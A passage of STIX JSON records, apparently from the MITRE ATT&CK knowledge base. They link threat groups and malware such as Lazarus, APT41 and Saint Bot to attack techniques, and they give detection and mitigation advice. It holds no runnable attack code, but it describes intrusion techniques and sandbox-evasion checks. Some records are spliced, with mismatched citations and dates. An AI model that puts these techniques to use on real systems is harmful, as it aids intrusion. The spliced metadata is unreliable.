creating port-protocol mismatches.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)", "modified": "2022-07-28T18:47:12.000Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--800f4061-3347-4816-a633-179ede275505", "type": "relationship", "created": "2020-01-30T14:34:45.415Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-14T16:28:20.020Z", "description": "The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8019fbd7-b72e-42aa-8685-60e8138db932", "created": "2022-08-11T22:51:45.029Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. 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Retrieved August 11, 2022.", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T21:04:58.405Z", "description": "[Moses Staff](https://attack.mitre.org/groups/G1009) has used the commercial tool DiskCryptor.(Citation: Checkpoint MosesStaff Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--801f139f-1361-4d79-965e-078787f8ec36", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. 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(2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) can use a list of hardcoded credentials in attempt to authenticate to SMB shares.(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-11T00:39:57.536Z", "relationship_type": "uses", "source_ref": "malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--80219528-7b8e-415a-b2f2-c3678bccc185", "created": "2023-03-06T23:22:41.565Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. 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Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T23:23:47.645Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) has relied on a user to open a malicious document or archived file delivered via email for initial execution.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8023d964-9013-4f3d-962e-569b799a2991", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Lookout Dark Caracal Jan 2018", "description": "Blaich, A., et al. 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Retrieved April 11, 2018.", "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-01T16:57:14.320Z", "description": "[CrossRAT](https://attack.mitre.org/software/S0235) uses run keys for persistence on Windows.(Citation: Lookout Dark Caracal Jan 2018)", "relationship_type": "uses", "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--80299c96-9450-48bc-8161-e72a41389f6a", "created": "2020-11-06T18:40:38.328Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Cobalt Strike September 2020", "description": "Mavis, N. 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(2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."}], "modified": "2019-07-17T13:11:38.967Z", "description": "[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor can receive a \u201cdelete\u201d command.(Citation: ESET OceanLotus macOS April 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--803160d1-cb32-4de9-86bc-ffcdd6221ca1", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. 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Retrieved May 5, 2020."}], "modified": "2020-05-06T15:26:38.952Z", "description": "[PLEAD](https://attack.mitre.org/software/S0435) has been executed via malicious e-mail attachments.(Citation: TrendMicro BlackTech June 2017)", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--803b551a-32a0-4c75-8a59-6eedfb2ee571", "created": "2022-03-30T14:26:51.853Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Keychain Items Apple Dev API", "url": "https://developer.apple.com/documentation/security/keychain_services/keychain_items", "description": "Apple. (n.d.). Keychain Items. Retrieved April 12, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for Keychain Services API calls, specifically legacy extensions such as <code>SecKeychainFindInternetPassword</code>, that may collect Keychain data from a system to acquire credentials.(Citation: Keychain Items Apple Dev API)", "modified": "2022-04-18T17:56:05.220Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--803c83dc-fe82-40e4-8aa7-35c95269ef8f", "created": "2021-03-31T14:01:52.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kubernetes Service Accounts", "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.", "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-08T20:14:06.922Z", "description": "Use the principle of least privilege for privileged accounts such as the service account in Kubernetes. For example, if a pod is not required to access the Kubernetes API, consider disabling the service account altogether.(Citation: Kubernetes Service Accounts)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8042dc21-37e4-4a60-aef1-457179f346e5", "type": "relationship", "created": "2020-05-27T15:31:09.486Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}], "modified": "2020-06-25T13:59:09.709Z", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used XMRIG to mine cryptocurrency on victim systems.(Citation: RedCanary Mockingbird May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--80475f21-fb52-4f97-a09c-ddfce82ca536", "created": "2024-02-09T19:24:50.036Z", "revoked": false, "external_references": [{"source_name": "US-CERT HOPLIGHT Apr 2019", "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T19:24:50.036Z", "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) can use WMI event subscriptions to create persistence.(Citation: US-CERT HOPLIGHT Apr 2019)", "relationship_type": "uses", "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8047b029-b86a-497f-b246-8c54a3b24353", "created": "2022-03-30T14:26:51.868Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for the SAM registry key dump being created to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", "modified": "2022-06-15T16:17:01.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--804f7690-6bf2-41dc-a6d2-59c3d4394ce5", "created": "2023-09-28T13:26:54.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "GitHub Pacu", "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", "url": "https://github.com/RhinoSecurityLabs/pacu"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-13T16:33:57.912Z", "description": "[Pacu](https://attack.mitre.org/software/S1091) can set up S3 bucket notifications to trigger a malicious Lambda function when a CloudFormation template is uploaded to the bucket. It can also create Lambda functions that trigger upon the creation of users, roles, and groups.(Citation: GitHub Pacu)", "relationship_type": "uses", "source_ref": "tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--804fb819-6b91-4295-aec9-b9299fb3472b", "type": "relationship", "created": "2020-08-19T17:34:47.359Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}], "modified": "2020-08-19T17:34:47.359Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) can use email attachments for C2 communications.(Citation: Unit42 RDAT July 2020)", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--80516f0f-53de-4058-9ae5-d426adb9e99e", "created": "2022-12-09T21:24:48.108Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-09T21:24:48.108Z", "description": "During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) deployed JScript web shells on compromised systems.(Citation: Mandiant APT41)\n", "relationship_type": "uses", "source_ref": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8052b9cf-2e89-49c4-a294-4ee42c6c6e03", "created": "2023-10-02T00:45:28.153Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T00:45:28.153Z", "description": "Limit the privileges of cloud accounts to assume, create, or impersonate additional roles, policies, and permissions to only those required. Where just-in-time access is enabled, consider requiring manual approval for temporary elevation of privileges.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--805f7ba3-a904-410c-b9fd-20356c595b19", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": "2019-04-24T23:10:02.440Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) uses a custom encryption algorithm on data sent back to the C2 server over HTTP.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8060addd-e961-41e2-a835-9343153b7522", "created": "2022-06-09T18:34:13.691Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has run several virtual machine and sandbox checks, including checking if `Sbiedll.dll` is present in a list of loaded modules, comparing the machine name to `HAL9TH` and the user name to `JohnDoe`, and checking the BIOS version for known virtual machine identifiers.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:05:16.190Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8097b8e6-73f2-44f4-9234-dffa4794e0c6", "created": "2023-03-10T20:34:42.998Z", "revoked": false, "external_references": [{"source_name": "Uptycs Black Basta ESXi June 2022", "description": "Sharma, S. and Hegde, N. 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(2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. 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Retrieved December 26, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has used a file stealer that can examine system drives, including those other than the C drive.(Citation: TrendMicro Confucius APT Aug 2021)", "modified": "2022-04-18T17:33:46.313Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--81399eeb-a9f0-4e55-baed-2be3829962fe", "created": "2022-06-01T21:43:32.302Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "DBAPPSecurity BITTER zero-day Feb 2021", "url": "https://ti.dbappsecurity.com.cn/blog/articles/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/", "description": "JinQuan, MaDongZe, TuXiaoYi, and LiHao. (2021, February 10). Windows kernel zero-day exploit (CVE-2021-1732) is used by BITTER APT in targeted attack. Retrieved June 1, 2022."}, {"source_name": "Microsoft CVE-2021-1732 Feb 2021", "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732", "description": "Microsoft. (2018, February 9). Windows Win32k Elevation of Privilege Vulnerability CVE-2021-1732. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has exploited CVE-2021-1732 for privilege escalation.(Citation: DBAPPSecurity BITTER zero-day Feb 2021)(Citation: Microsoft CVE-2021-1732 Feb 2021)", "modified": "2022-06-01T21:46:01.078Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--813e0e62-d6b4-4738-bb03-2ff9df3ba15c", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor executed commands and arguments that may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--813e4416-bee6-4192-a712-6b5f80a7fff3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. 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Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:53.132Z", "description": "[EVILNUM](https://attack.mitre.org/software/S0568) can upload files over the C2 channel from the infected host.(Citation: Prevailion EvilNum May 2020) ", "relationship_type": "uses", "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--81682d49-acb2-4439-a7da-1a28126cea94", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). 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Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018"}], "modified": "2020-12-11T17:47:22.639Z", "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encodes data with base64.(Citation: McAfee Lazarus Resurfaces Feb 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--816b2bbb-9d91-4cf9-86b2-ff68a9f82969", "created": "2022-06-10T17:09:18.107Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", "description": "MSTIC, DART, M365 Defender. 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Retrieved September 29, 2020."}], "modified": "2020-09-29T19:16:57.967Z", "description": "[WellMail](https://attack.mitre.org/software/S0515) can identify the IP address of the victim system.(Citation: CISA WellMail July 2020)", "relationship_type": "uses", "source_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--818dc2b8-bc95-4e1e-a25a-8c659b9a141d", "type": "relationship", "created": "2020-11-23T22:19:46.797Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "360 Machete Sep 2020", "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", "description": "kate. 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Retrieved November 20, 2020."}], "modified": "2020-11-23T22:19:46.797Z", "description": "[Machete](https://attack.mitre.org/groups/G0095) has created scheduled tasks to maintain [Machete](https://attack.mitre.org/software/S0409)'s persistence.(Citation: 360 Machete Sep 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--818e07c2-4052-4f92-91a9-5c3f2633a8ac", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal capabilities that can be used during targeting. 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Retrieved July 26, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Prevent the creation of new network adapters where possible.(Citation: Microsoft GPO Bluetooth FEB 2009)(Citation: TechRepublic Wireless GPO FEB 2009)", "modified": "2022-04-19T01:28:29.887Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8195cc4a-3415-49b9-9338-156b56ac0e30", "type": "relationship", "created": "2019-04-17T18:43:36.322Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/", "source_name": "CheckPoint SpeakUp Feb 2019"}], "modified": "2019-04-22T20:29:31.293Z", "description": "[SpeakUp](https://attack.mitre.org/software/S0374) attempts to exploit the following vulnerabilities in order to execute its malicious script: CVE-2012-0874, CVE-2010-1871, CVE-2017-10271, CVE-2018-2894, CVE-2016-3088, JBoss AS 3/4/5/6, and the Hadoop YARN ResourceManager. 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(2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}, {"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}], "modified": "2021-03-24T20:25:01.412Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can detect system 